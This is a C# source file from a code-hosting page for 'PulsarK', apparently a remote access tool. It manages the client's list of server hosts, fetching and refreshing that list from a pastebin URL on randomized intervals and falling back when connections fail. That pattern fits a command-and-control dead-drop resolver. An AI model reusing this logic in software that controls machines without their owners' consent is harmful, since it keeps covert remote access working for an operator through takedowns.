Files
PulsarK-main/Pulsar.Common/DNS/HostsManager.cs
T
i2p 773d05f8f1
Pulsar .NET 9.0 Windows Release / build (push) Waiting to run
Mirror to Codeberg and Gitea / mirror (push) Waiting to run
initial commit
2026-08-27 10:57:58 -06:00

283 lines
10 KiB
C#

using System;
using System.Collections.Generic;
using System.Diagnostics;
using System.Net;
using System.Net.Sockets;
using System.Security.Cryptography;
using System.Text;
namespace Pulsar.Common.DNS
{
public class HostsManager
{
public bool IsEmpty => _hosts.Count == 0;
private readonly Queue<Host> _hosts = new Queue<Host>();
private Host _lastResolvedHost;
private readonly PastebinFetcher _pastebinFetcher;
private readonly HostsConverter _hostsConverter = new HostsConverter();
private readonly bool _isPastebinMode;
private DateTime _lastSuccessfulConnection = DateTime.MinValue;
private DateTime _lastPastebinCheck = DateTime.MinValue;
//private readonly TimeSpan _connectionFailureThreshold = TimeSpan.FromHours(1);
//private readonly TimeSpan _pastebinCheckInterval = TimeSpan.FromHours(1);
private readonly TimeSpan _connectionFailureThreshold = TimeSpan.FromMinutes(30);
private readonly TimeSpan _pastebinCheckInterval = TimeSpan.FromHours(1);
private bool _pastebinReachable = true;
private DateTime _lastPastebinFailure = DateTime.MinValue;
private readonly TimeSpan _scheduledRefreshWindowMin = TimeSpan.FromHours(2);
private readonly TimeSpan _scheduledRefreshWindowMax = TimeSpan.FromHours(3);
private readonly Random _refreshRandom = new Random(unchecked(Environment.TickCount * 397 ^ Guid.NewGuid().GetHashCode()));
private readonly object _refreshRandomLock = new object();
private DateTime _nextScheduledPastebinRefresh = DateTime.MinValue;
private string _lastPastebinContentHash;
public HostsManager(List<Host> hosts)
{
foreach (var host in hosts)
_hosts.Enqueue(host);
_isPastebinMode = false;
_lastSuccessfulConnection = DateTime.Now;
}
public HostsManager(string pastebinUrl)
{
_isPastebinMode = true;
_pastebinFetcher = new PastebinFetcher(pastebinUrl);
_lastSuccessfulConnection = DateTime.Now;
RefreshHostsFromPastebin(forceRefresh: true);
ScheduleNextPastebinRefresh();
}
private bool RefreshHostsFromPastebin(bool forceRefresh = false)
{
if (!_isPastebinMode || _pastebinFetcher == null)
return false;
try
{
string content = _pastebinFetcher.FetchContent(forceRefresh);
_lastPastebinCheck = DateTime.Now;
if (string.IsNullOrWhiteSpace(content))
{
_pastebinReachable = false;
_lastPastebinFailure = DateTime.Now;
Debug.WriteLine("Failed to get content from pastebin (empty response)");
return false;
}
var hosts = _hostsConverter.RawHostsToList(content);
string newHash = ComputeContentHash(content);
bool hasChanged = _lastPastebinContentHash == null || !_lastPastebinContentHash.Equals(newHash, StringComparison.Ordinal);
if (hasChanged || _hosts.Count == 0)
{
_hosts.Clear();
foreach (var host in hosts)
_hosts.Enqueue(host);
_lastResolvedHost = null;
_lastPastebinContentHash = newHash;
Debug.WriteLine($"Successfully refreshed {hosts.Count} hosts from pastebin. Connection failure duration: {DateTime.Now - _lastSuccessfulConnection}");
}
else
{
Debug.WriteLine("Pastebin content unchanged; keeping existing hosts.");
}
_pastebinReachable = true;
return hasChanged;
}
catch (Exception ex)
{
_pastebinReachable = false;
_lastPastebinFailure = DateTime.Now;
Debug.WriteLine($"Failed to refresh hosts from pastebin: {ex.Message}");
return false;
}
}
public Host GetNextHost()
{
if (_isPastebinMode)
{
if (_nextScheduledPastebinRefresh == DateTime.MinValue)
{
ScheduleNextPastebinRefresh();
}
if (DateTime.Now >= _nextScheduledPastebinRefresh)
{
Debug.WriteLine("Scheduled pastebin refresh triggered.");
RefreshHostsFromPastebin(forceRefresh: true);
ScheduleNextPastebinRefresh();
}
bool shouldRefreshFromPastebin = false;
bool forceRefresh = false;
if (_hosts.Count == 0 && DateTime.Now - _lastPastebinCheck >= TimeSpan.FromMinutes(1))
{
Debug.WriteLine("No hosts available, refreshing from pastebin.");
shouldRefreshFromPastebin = true;
forceRefresh = true;
}
else if (_hosts.Count > 0 && DateTime.Now - _lastSuccessfulConnection > _connectionFailureThreshold)
{
Debug.WriteLine($"No successful connection for over {_connectionFailureThreshold.TotalMinutes} minutes, checking pastebin for updates.");
if (DateTime.Now - _lastPastebinCheck >= _pastebinCheckInterval)
{
Debug.WriteLine($"Checking pastebin for updates after {_pastebinCheckInterval.TotalMinutes} minutes.");
shouldRefreshFromPastebin = true;
}
}
else if (_hosts.Count > 0 && DateTime.Now - _lastSuccessfulConnection <= _connectionFailureThreshold && _pastebinFetcher.ShouldRefresh)
{
Debug.WriteLine("Frequent refresh from pastebin due to high request count or error.");
shouldRefreshFromPastebin = true;
}
if (shouldRefreshFromPastebin)
{
Debug.WriteLine("Refreshing hosts from pastebin due to conditions met.");
RefreshHostsFromPastebin(forceRefresh);
ScheduleNextPastebinRefresh();
}
if (_hosts.Count == 0)
return null;
}
var temp = _hosts.Dequeue();
_hosts.Enqueue(temp);
temp.IpAddress = ResolveHostname(temp);
if (temp.IpAddress == null && _lastResolvedHost != null)
{
temp = _lastResolvedHost;
}
else
{
_lastResolvedHost = temp;
}
return temp;
}
/// <summary>
/// Notifies the hosts manager that a successful connection was established.
/// This resets the connection failure tracking.
/// </summary>
public void NotifySuccessfulConnection()
{
_lastSuccessfulConnection = DateTime.Now;
}
/// <summary>
/// Gets whether pastebin is currently reachable and how long to wait before next attempt.
/// </summary>
/// <returns>A tuple indicating if pastebin is reachable and suggested wait time in milliseconds.</returns>
public (bool IsReachable, int SuggestedWaitTimeMs) GetPastebinStatus()
{
if (!_isPastebinMode)
return (true, 0);
if (_pastebinReachable)
{
return (true, 0);
}
var timeSinceFailure = DateTime.Now - _lastPastebinFailure;
if (timeSinceFailure < TimeSpan.FromMinutes(5))
{
return (false, 300000);
}
else if (timeSinceFailure < TimeSpan.FromMinutes(15))
{
return (false, 600000);
}
else
{
return (false, 1800000);
}
}
private void ScheduleNextPastebinRefresh()
{
if (!_isPastebinMode)
{
_nextScheduledPastebinRefresh = DateTime.MaxValue;
return;
}
TimeSpan interval = GetRandomRefreshInterval();
_nextScheduledPastebinRefresh = DateTime.Now.Add(interval);
Debug.WriteLine($"Next pastebin refresh scheduled in {interval.TotalMinutes:F1} minutes (target {_nextScheduledPastebinRefresh}).");
}
private TimeSpan GetRandomRefreshInterval()
{
double minMs = _scheduledRefreshWindowMin.TotalMilliseconds;
double maxMs = _scheduledRefreshWindowMax.TotalMilliseconds;
if (maxMs <= minMs)
{
return TimeSpan.FromMilliseconds(minMs);
}
lock (_refreshRandomLock)
{
double offset = _refreshRandom.NextDouble() * (maxMs - minMs);
return TimeSpan.FromMilliseconds(minMs + offset);
}
}
private static string ComputeContentHash(string content)
{
using (var sha256 = SHA256.Create())
{
byte[] bytes = sha256.ComputeHash(Encoding.UTF8.GetBytes(content));
return BitConverter.ToString(bytes).Replace("-", string.Empty);
}
}
private static IPAddress ResolveHostname(Host host)
{
if (string.IsNullOrEmpty(host.Hostname)) return null;
if (IPAddress.TryParse(host.Hostname, out IPAddress ip))
{
if (ip.AddressFamily == AddressFamily.InterNetworkV6 && !Socket.OSSupportsIPv6)
return null;
return ip;
}
try
{
var ipAddresses = Dns.GetHostEntry(host.Hostname).AddressList;
foreach (IPAddress ipAddress in ipAddresses)
{
switch (ipAddress.AddressFamily)
{
case AddressFamily.InterNetwork:
return ipAddress;
case AddressFamily.InterNetworkV6:
if (ipAddresses.Length == 1)
return ipAddress;
break;
}
}
}
catch (Exception)
{
return null;
}
return null;
}
}
}